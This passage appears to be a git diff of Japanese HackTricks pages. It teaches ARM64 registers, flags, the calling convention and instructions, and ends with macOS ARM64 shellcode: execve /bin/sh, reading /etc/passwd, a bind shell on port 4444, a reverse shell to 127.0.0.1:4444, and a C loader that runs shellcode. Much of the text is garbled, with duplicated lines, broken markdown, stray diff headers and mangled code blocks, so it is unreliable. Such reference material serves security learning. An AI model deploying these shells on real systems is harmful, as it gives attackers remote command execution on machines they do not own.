* **`N`**、**`Z`**、**`C`**、\*\*`V`\*\*条件フラグ:
* \*\*`N`\*\*は、操作が負の結果を生じたことを意味します
* \*\*`Z`\*\*は、操作がゼロを生じたことを意味します
* \*\*`C`\*\*は、操作が実行されたことを意味します
* \*\*`V`\*\*は、操作が符号オーバーフローを生じたことを意味します:
* 2つの正の数の合計は負の結果を生じます。
* 2つの負の数の合計は正の結果を生じます。
* 減算では、大きな負の数が小さな正の数から減算される場合(またはその逆)、結果が与えられたビットサイズの範囲内に表現できない場合。
* 明らかに、プロセッサは操作が符号付きかどうかを知らないため、操作を符号付きまたは符号なしで行ったかどうかを確認し、発生した場合にはキャリーが発生したことを示します。
{% hint style="warning" %}
すべての命令がこれらのフラグを更新するわけではありません。**`CMP`**や**`TST`**のような一部の命令は、および**`ADDS`**のようなsサフィックスを持つ他の命令もそれを行います。
すべての命令がこれらのフラグを更新するわけではありません。\*\*`CMP`**や**`TST`**のような一部の命令は、および**`ADDS`\*\*のようなsサフィックスを持つ他の命令もそれを行います。
{% endhint %}
* 現在の**レジスタ幅(`nRW`**フラグフラグが値0を保持している場合、プログラムは再開後にAArch64実行状態で実行されます。
* 現在の\*\*レジスタ幅(`nRW`\*\*フラグフラグが値0を保持している場合、プログラムは再開後にAArch64実行状態で実行されます。
* 現在の**例外レベル****`EL`**EL0で実行される通常のプログラムは値0になります
* **シングルステップ**フラグ(**`SS`**):デバッガが**`SPSR_ELx`**内のSSフラグを1に設定してシングルステップを実行します。プログラムはステップを実行し、シングルステップ例外を発行します。
* **シングルステップ**フラグ(**`SS`**):デバッガが\*\*`SPSR_ELx`\*\*内のSSフラグを1に設定してシングルステップを実行します。プログラムはステップを実行し、シングルステップ例外を発行します。
* **不正例外**状態フラグ(**`IL`**特権ソフトウェアが無効な例外レベル転送を実行したときにマークされ、このフラグが1に設定されるとプロセッサは不正な状態例外をトリガーします。
* **`DAIF`**フラグ:これらのフラグを使用すると、特権プログラムが特定の外部例外を選択的にマスクできます。
* **`A`**が1の場合、**非同期中断**がトリガーされます。**`I`**は外部ハードウェアの**割り込みリクエスト**IRQに応答するように構成され、Fは**ファスト割り込みリクエスト**FIRに関連しています。
* **スタックポインタ選択**フラグ(**`SPS`**EL1およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのレジスタたとえば、`SP_EL1`と`EL0`の間)を切り替えることができます。この切り替えは、**`SPSel`**特殊レジスタに書き込むことによって実行されます。これはEL0からは行えません。
* \*\*`DAIF`\*\*フラグ:これらのフラグを使用すると、特権プログラムが特定の外部例外を選択的にマスクできます。
* **`A`が1の場合、非同期中断がトリガーされます。`I`は外部ハードウェアの割り込みリクエスト**IRQに応答するように構成され、Fは**ファスト割り込みリクエスト**FIRに関連しています。
* **スタックポインタ選択**フラグ(**`SPS`**EL1およびそれ以上で実行される特権プログラムは、自分自身のスタックポインタレジスタとユーザーモデルのレジスタたとえば、`SP_EL1`と`EL0`の間)を切り替えることができます。この切り替えは、\*\*`SPSel`\*\*特殊レジスタに書き込むことによって実行されます。これはEL0からは行えません。
## **呼び出し規約ARM64v8**
ARM64呼び出し規約では、関数への最初の8つのパラメータは**`x0`から`x7`**のレジスタに渡されます。**追加**のパラメータは**スタック**に渡されます。**戻り**値は、レジスタ**`x0`**に返されるか、128ビットの場合は**`x1`**にも返されます。**`x19`**から**`x30`**および**`sp`**レジスタは、関数呼び出しを超えて**保存**される必要があります。
ARM64呼び出し規約では、関数への最初の8つのパラメータは\*\*`x0`から`x7`**のレジスタに渡されます。追加のパラメータは**スタック**に渡されます。戻り値は、レジスタ**`x0`**に返されるか、128ビットの場合は**`x1`**にも返されます。**`x19`**から**`x30`**および**`sp`**レジスタは、関数呼び出しを超えて**保存\*\*される必要があります。
アセンブリで関数を読む際には、**関数のプロローグとエピローグ**を探します。**プロローグ**では通常、**フレームポインタ(`x29`)を保存**し、**新しいフレームポインタを設定**し、**スタックスペースを割り当て**ます。**エピローグ**では通常、**保存されたフレームポインタを復元**し、関数から**戻り**ます。
@ -112,7 +113,7 @@ Swiftには独自の**呼び出し規約**があり、[**https://github.com/appl
## **一般的な命令ARM64v8**
ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**`opcode`**は実行される**操作**`add`、`sub`、`mov`など)を示し、**`dst`**は結果が格納される**宛先**レジスタであり、**`src1`**および**`src2`****ソース**レジスタです。ソースレジスタの代わりに即値を使用することもできます。
ARM64命令は一般的に、**`opcode dst, src1, src2`の形式を持ち、`opcode`は実行される操作**`add`、`sub`、`mov`など)を示し、**`dst`は結果が格納される宛先**レジスタであり、**`src1`および`src2`はソース**レジスタです。ソースレジスタの代わりに即値を使用することもできます。
* **`mov`**: 1つの**レジスタ**から別の**レジスタ**に値を**移動**します。
* 例: `mov x0, x1` — これは`x1`から`x0`に値を移動します。
@ -120,7 +121,7 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
* 例: `ldr x0, [x1]` — これは`x1`が指すメモリ位置から`x0`に値をロードします。
* **オフセットモード**: オリンポインタに影響を与えるオフセットが示されます。たとえば:
* `ldr x2, [x1, #8]`、これはx1 + 8からx2に値をロードします
* &#x20;`ldr x2, [x0, x1, lsl #2]`、これはx0の配列から、位置x1インデックス\* 4のオブジェクトをx2にロードします
* `ldr x2, [x0, x1, lsl #2]`、これはx0の配列から、位置x1インデックス\* 4のオブジェクトをx2にロードします
* **プリインデックスモード**: これは、元に計算を適用し、結果を取得して新しい元を元に格納します。
* `ldr x2, [x1, #8]!`、これは`x1 + 8`を`x2`にロードし、`x1 + 8`の結果を`x1`に格納します
* `str lr, [sp, #-4]!`、リンクレジスタをspに格納し、レジスタspを更新します
@ -136,11 +137,11 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
* 例: `stp x0, x1, [sp]` — これは、それぞれ`sp`および`sp + 8`のメモリ位置に`x0`および`x1`をストアします。
* `stp x0, x1, [sp, #16]!` — これは、それぞれ`sp+16`および`sp + 24`のメモリ位置に`x0`および`x1`をストアし、`sp`を`sp+16`で更新します。
* **`add`**: 2つのレジスタの値を加算し、結果をレジスタに格納します。
* 構文: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
* 構文: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> 宛先
* Xn2 -> オペランド1
* Xn3 | #imm -> オペランド2レジスタまたは即値
* \[shift #N | RRX\] -> シフトを実行またはRRXを呼び出す
* \[shift #N | RRX] -> シフトを実行またはRRXを呼び出す
* 例: `add x0, x1, x2` — これは`x1`と`x2`の値を加算し、結果を`x0`に格納します。
* `add x5, x5, #1, lsl #12` — これは4096に等しい1を12回シフト -> 1 0000 0000 0000 0000
* **`adds`** これは`add`を実行し、フラグを更新します
@ -155,10 +156,10 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **論理左シフト**: 末尾に0を追加し、他のビットを前に移動しますn回2倍
* **論理右シフト**: 先頭に1を追加し、他のビットを後ろに移動します符号なしでn回2で割る
* **算術右シフト**: **`lsr`**と同様ですが、最上位ビットが1の場合、1を追加します符号付きでn回2で割る
* **右に回転**: **`lsr`**と同様ですが、右から削除されたものは左に追加されます
* **拡張付き右回転**: **`ror`**と同様ですが、キャリーフラグを「最上位ビット」として使用します。つまり、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。
* **`bfm`**: **ビットフィールド移動**、これらの操作は値からビット`0...n`をコピーし、それらを位置`m..m+n`に配置します。 **`#s`****左端のビット**位置を指定し、**`#r`****右に回転する量**を指定します。
* **算術右シフト**: \*\*`lsr`\*\*と同様ですが、最上位ビットが1の場合、1を追加します符号付きでn回2で割る
* **右に回転**: \*\*`lsr`\*\*と同様ですが、右から削除されたものは左に追加されます
* **拡張付き右回転**: \*\*`ror`\*\*と同様ですが、キャリーフラグを「最上位ビット」として使用します。つまり、キャリーフラグはビット31に移動し、削除されたビットはキャリーフラグに移動します。
* **`bfm`**: **ビットフィールド移動**、これらの操作は値からビット`0...n`をコピーし、それらを位置`m..m+n`に配置します。 **`#s`は左端のビット**位置を指定し、**`#r`は右に回転する量**を指定します。
* ビットフィールド移動: `BFM Xd, Xn, #r`
* 符号付きビットフィールド移動: `SBFM Xd, Xn, #r, #s`
* 符号なしビットフィールド移動: `UBFM Xd, Xn, #r, #s`
@ -177,7 +178,7 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
* **`extr`:** 指定された**連結されたレジスタのビット**を抽出します。
* 例: `EXTR W3, W2, W1, #3` これは**W1+W2**を連結し、**W2のビット3からW1のビット3まで**を取得してW3に格納します。
* **`cmp`**: 2つのレジスタを比較し、条件フラグを設定します。これは`subs`のエイリアスで、宛先レジスタをゼロレジスタに設定します。`m == n`かどうかを知るのに便利です。
* **`subs`**と同じ構文をサポートします
* \*\*`subs`\*\*と同じ構文をサポートします
* 例: `cmp x0, x1` — これは`x0`と`x1`の値を比較し、条件フラグを適切に設定します。
* **`cmn`**: **負の比較**オペランド。この場合、`adds`のエイリアスで、同じ構文をサポートします。`m == -n`かどうかを知るのに便利です。
* **`ccmp`**: 条件付き比較、前の比較が真の場合にのみ実行され、特にnzcvビットを設定します。
@ -188,14 +189,14 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
* 例: `tst X1, #7` X1の最後の3ビットのいずれかが1かどうかをチェックします
* **`teq`**: 結果を破棄するXOR演算
* **`b`**: 無条件分岐
* 例: `b myFunction`&#x20;
* 例: `b myFunction`
* これはリンクレジスタに戻りアドレスを格納しません(戻る必要のあるサブルーチン呼び出しには適していません)
* **`bl`**: **リンク付き分岐**、**サブルーチン**を**呼び出す**ために使用されます。**`x30`に戻りアドレスを格納**します。
* 例: `bl myFunction` — これは`myFunction`関数を呼び出し、戻りアドレスを`x30`に格納します。
* これはリンクレジスタに戻りアドレスを格納しません(戻る必要のあるサブルーチン呼び出しには適していません)
* **`blr`**: **レジスタにリンク付き分岐**、**指定された**レジスタに**アドレスが含まれる**サブルーチンを**呼び出す**ために使用されます。戻りアドレスを`x30`に格納します。(これは&#x20;
* **`blr`**: **レジスタにリンク付き分岐**、**指定された**レジスタに**アドレスが含まれる**サブルーチンを**呼び出す**ために使用されます。戻りアドレスを`x30`に格納します。(これは
* 例: `blr x1` — これは`x1`に含まれるアドレスの関数を呼び出し、戻りアドレスを`x30`に格納します。
* **`ret`**: **サブルーチン**から**戻る**、通常は**`x30`**のアドレスを使用します。
* **`ret`**: **サブルーチン**から**戻る**、通常は\*\*`x30`\*\*のアドレスを使用します。
* 例: `ret` — これは`x30`に格納された戻りアドレスを使用して現在のサブルーチンから戻ります。
* **`b.<cond>`**: 条件付き分岐
* **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づきます。
@ -227,7 +228,7 @@ ARM64命令は一般的に、**`opcode dst, src1, src2`**の形式を持ち、**
* **`stur`**: レジスタの値をメモリ位置に**ストア**し、別のレジスタからのオフセットを使用します。
* 例: `stur x0, [x1, #4]` — これは `x1` に現在のアドレスより4バイト大きいアドレスのメモリに `x0` の値を格納します。
* **`svc`** : **システムコール**を行います。"Supervisor Call" の略です。プロセッサがこの命令を実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリ内の特定の場所にジャンプします。
* 例:
* 例:
```armasm
mov x8, 93 ; レジスタ x8 に終了のためのシステムコール番号93をロードします。
@ -271,6 +272,7 @@ Armv8-A は 32 ビットプログラムの実行をサポートします。**AAr
これは、**interworking 分岐命令**で設定されますが、PC が宛先レジスタとして設定されている場合に他の命令で直接設定することもできます。例:
別の例:
```armasm
_start:
.code 32 ; Begin using A32
@ -281,50 +283,52 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
mov r0, #0
mov r0, #8
```
### レジスタ
32ビットのレジスタが16個ありますr0-r15。**r0からr14**まで、**どんな操作にも使用**できますが、一部は通常予約されています:
- **`r15`**プログラムカウンタ常に。次の命令のアドレスが格納されます。A32では現在+8、T32では現在+4です。
- **`r11`**:フレームポインタ
- **`r12`**:手続き内呼び出しレジスタ
- **`r13`**:スタックポインタ
- **`r14`**:リンクレジスタ
* **`r15`**プログラムカウンタ常に。次の命令のアドレスが格納されます。A32では現在+8、T32では現在+4です。
* **`r11`**:フレームポインタ
* **`r12`**:手続き内呼び出しレジスタ
* **`r13`**:スタックポインタ
* **`r14`**:リンクレジスタ
さらに、レジスタは**`バンク付きレジスタ`**にバックアップされます。これは、例外処理や特権操作で**高速なコンテキスト切り替え**を実行するために、レジスタの値を保存しておく場所です。\
さらに、レジスタは\*\*`バンク付きレジスタ`**にバックアップされます。これは、例外処理や特権操作で**高速なコンテキスト切り替え\*\*を実行するために、レジスタの値を保存しておく場所です。\
これは、例外が発生したプロセッサモードの`CPSR`からプロセッサの`SPSR`にプロセッサ状態を保存することによって行われます。例外が返されると、`CPSR`は`SPSR`から復元されます。
### CPSR - 現在のプログラムステータスレジスタ
AArch32では、CPSRはAArch64の**`PSTATE`**と同様に機能し、例外が発生すると後で実行を復元するために**`SPSR_ELx`**にも保存されます:
AArch32では、CPSRはAArch64の\*\*`PSTATE`**と同様に機能し、例外が発生すると後で実行を復元するために**`SPSR_ELx`\*\*にも保存されます:
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
フィールドはいくつかのグループに分かれています:
- アプリケーションプログラムステータスレジスタAPSR算術フラグであり、EL0からアクセス可能
- 実行状態レジスタプロセスの動作OSによって管理される
* アプリケーションプログラムステータスレジスタAPSR算術フラグであり、EL0からアクセス可能
* 実行状態レジスタプロセスの動作OSによって管理される
#### アプリケーションプログラムステータスレジスタAPSR
- **`N`**、**`Z`**、**`C`**、**`V`** フラグAArch64と同様
- **`Q`** フラグ:専用の飽和算術命令の実行中に**整数の飽和が発生する**ときに1に設定されます。一度**`1`**に設定されると、手動で0に設定されるまで値が維持されます。さらに、その値を暗黙的にチェックする命令は存在せず、手動で読み取る必要があります。
- **`GE`**以上または等しいフラグこれはSIMDSingle Instruction, Multiple Data操作で使用され、"parallel add"や"parallel subtract"などの操作に使用されます。これらの操作は、1つの命令で複数のデータポイントを処理できます。
* **`N`**、**`Z`**、**`C`**、**`V`** フラグAArch64と同様
* **`Q`** フラグ:専用の飽和算術命令の実行中に**整数の飽和が発生する**ときに1に設定されます。一度\*\*`1`\*\*に設定されると、手動で0に設定されるまで値が維持されます。さらに、その値を暗黙的にチェックする命令は存在せず、手動で読み取る必要があります。
* **`GE`**以上または等しいフラグこれはSIMDSingle Instruction, Multiple Data操作で使用され、"parallel add"や"parallel subtract"などの操作に使用されます。これらの操作は、1つの命令で複数のデータポイントを処理できます。
たとえば、**`UADD8`** 命令は、並列に4組のバイト2つの32ビットオペランドからを追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて、**`APSR`**内の`GE`フラグが設定されます。各GEフラグは1つのバイトの追加に対応し、そのバイトのペアの追加が**オーバーフローしたかどうか**を示します。
たとえば、**`UADD8`** 命令は、並列に4組のバイト2つの32ビットオペランドからを追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて、**`APSR`内の`GE`フラグが設定されます。各GEフラグは1つのバイトの追加に対応し、そのバイトのペアの追加がオーバーフローしたかどうか**を示します。
**`SEL`** 命令は、これらのGEフラグを使用して条件付きアクションを実行します。
#### 実行状態レジスタ
- **`J`** および **`T`** ビット:**`J`** は0であるべきであり、**`T`** が0の場合はA32命令セットが使用され、1の場合はT32が使用されます。
- **ITブロックステートレジスタ**`ITSTATE`これらは10-15および25-26のビットです。**`IT`** で接頭辞が付いたグループ内の命令の条件を格納します。
- **`E`** ビット:**エンディアンネス**を示します。
- **モードおよび例外マスクビット**0-4現在の実行状態を決定します。**5番目**は、プログラムが32ビット1または64ビット0で実行されているかを示します。他の4つは、**使用中の例外モード**(例外が発生し処理されている場合)を表します。数値セットは、これが処理されている間に別の例外が発生した場合の**現在の優先度**を示します。
* **`J`** および **`T`** ビット:**`J`** は0であるべきであり、**`T`** が0の場合はA32命令セットが使用され、1の場合はT32が使用されます。
* **ITブロックステートレジスタ**`ITSTATE`これらは10-15および25-26のビットです。**`IT`** で接頭辞が付いたグループ内の命令の条件を格納します。
* **`E`** ビット:**エンディアンネス**を示します。
* **モードおよび例外マスクビット**0-4現在の実行状態を決定します。**5番目**は、プログラムが32ビット1または64ビット0で実行されているかを示します。他の4つは、**使用中の例外モード**(例外が発生し処理されている場合)を表します。数値セットは、これが処理されている間に別の例外が発生した場合の**現在の優先度**を示します。
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**:特定の例外は、**`A`**、`I`、`F` ビットを使用して無効にできます。**`A`** が1の場合、**非同期中断**がトリガーされます。**`I`** は外部ハードウェアの**割り込みリクエスト**IRQに応答するように構成され、Fは**高速割り込みリクエスト**FIRに関連しています。
* **`AIF`**:特定の例外は、**`A`**、`I`、`F` ビットを使用して無効にできます。**`A`** が1の場合、**非同期中断**がトリガーされます。**`I`** は外部ハードウェアの**割り込みリクエスト**IRQに応答するように構成され、Fは**高速割り込みリクエスト**FIRに関連しています。
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -332,10 +336,9 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
{% endcode %}
{% hint style="success" %}
時々、**`libsystem_kernel.dylib`** からの**`decompiled`**コードをチェックする方が、**ソースコード**をチェックするよりも簡単です。なぜなら、いくつかのシステムコールBSDとMachのコードはスクリプトを介して生成されるためソースコードのコメントをチェックしてください、dylibでは何が呼び出されているかがわかるからです。
時々、**`libsystem_kernel.dylib`** からの\*\*`decompiled`\*\*コードをチェックする方が、**ソースコード**をチェックするよりも簡単です。なぜなら、いくつかのシステムコールBSDとMachのコードはスクリプトを介して生成されるためソースコードのコメントをチェックしてください、dylibでは何が呼び出されているかがわかるからです。
{% endhint %}
### machdep calls
@ -359,6 +362,7 @@ Objective-CやSwiftプログラムでよく見られるこの関数は、Objecti
* x2... -> 呼び出されるメソッドの残りの引数
したがって、この関数への分岐前にブレークポイントを設定すると、lldbで簡単に呼び出される内容を見つけることができますこの例では、オブジェクトが`NSConcreteTask`からのオブジェクトを呼び出し、コマンドを実行します)。
```
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -375,9 +379,11 @@ Objective-CやSwiftプログラムでよく見られるこの関数は、Objecti
whoami
)
```
### シェルコード
コンパイルするには:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -385,69 +391,55 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
バイトを抽出するには:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
<details>
<summary>シェルコードをテストするためのCコード</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
char shellcode[] = "<INSERT SHELLCODE HERE>";
int (\*sc)();
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
char shellcode\[] = "";
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
printf("[>] Trying to execute shellcode...\n");
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
sc = ptr;
sc();
printf("\[>] Trying to execute shellcode...\n");
return 0;
}
```
sc = ptr; sc();
return 0; }
````
</details>
#### シェル
[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明します。
{% tabs %}
{% tab title="adrを使用" %}
<div data-gb-custom-block data-tag="tabs"></div>
<div data-gb-custom-block data-tag="tab" data-title='adrを使用'>
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -461,38 +453,27 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
```
{% endtab %}
````
{% tab title="スタックを使用して" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
```
````
#### catコマンドで読み込む
目標は、`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することです。したがって、2番目の引数x1はパラメータの配列でなければなりませんメモリ内ではアドレスのスタックを意味します
@ -520,8 +501,10 @@ svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### メインプロセスが終了しないように、フォークからshを使用してコマンドを呼び出す
````
**メインプロセスが終了しないように、フォークからshを使用してコマンドを呼び出す**
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -565,9 +548,11 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### バインドシェル
**バインドシェル**
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) から**ポート4444**でのバインドシェル
```armasm
.section __TEXT,__text
.global _main
@ -649,9 +634,11 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### 逆シェル
**逆シェル**
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)から、**127.0.0.1:4444**へのrevshell
```armasm
.section __TEXT,__text
.global _main
@ -718,16 +705,7 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,4 +1,4 @@
# x64の概要
# Introduction to x64
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**Telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
@ -28,15 +28,15 @@ x64はx86アーキテクチャを拡張し、`rax`、`rbx`、`rcx`、`rdx`、`rb
4. **`rdx`** - 拡張算術演算を含むさまざまな役割で使用されます。
5. **`rbp`** - スタックフレームの**ベースポインタ**。
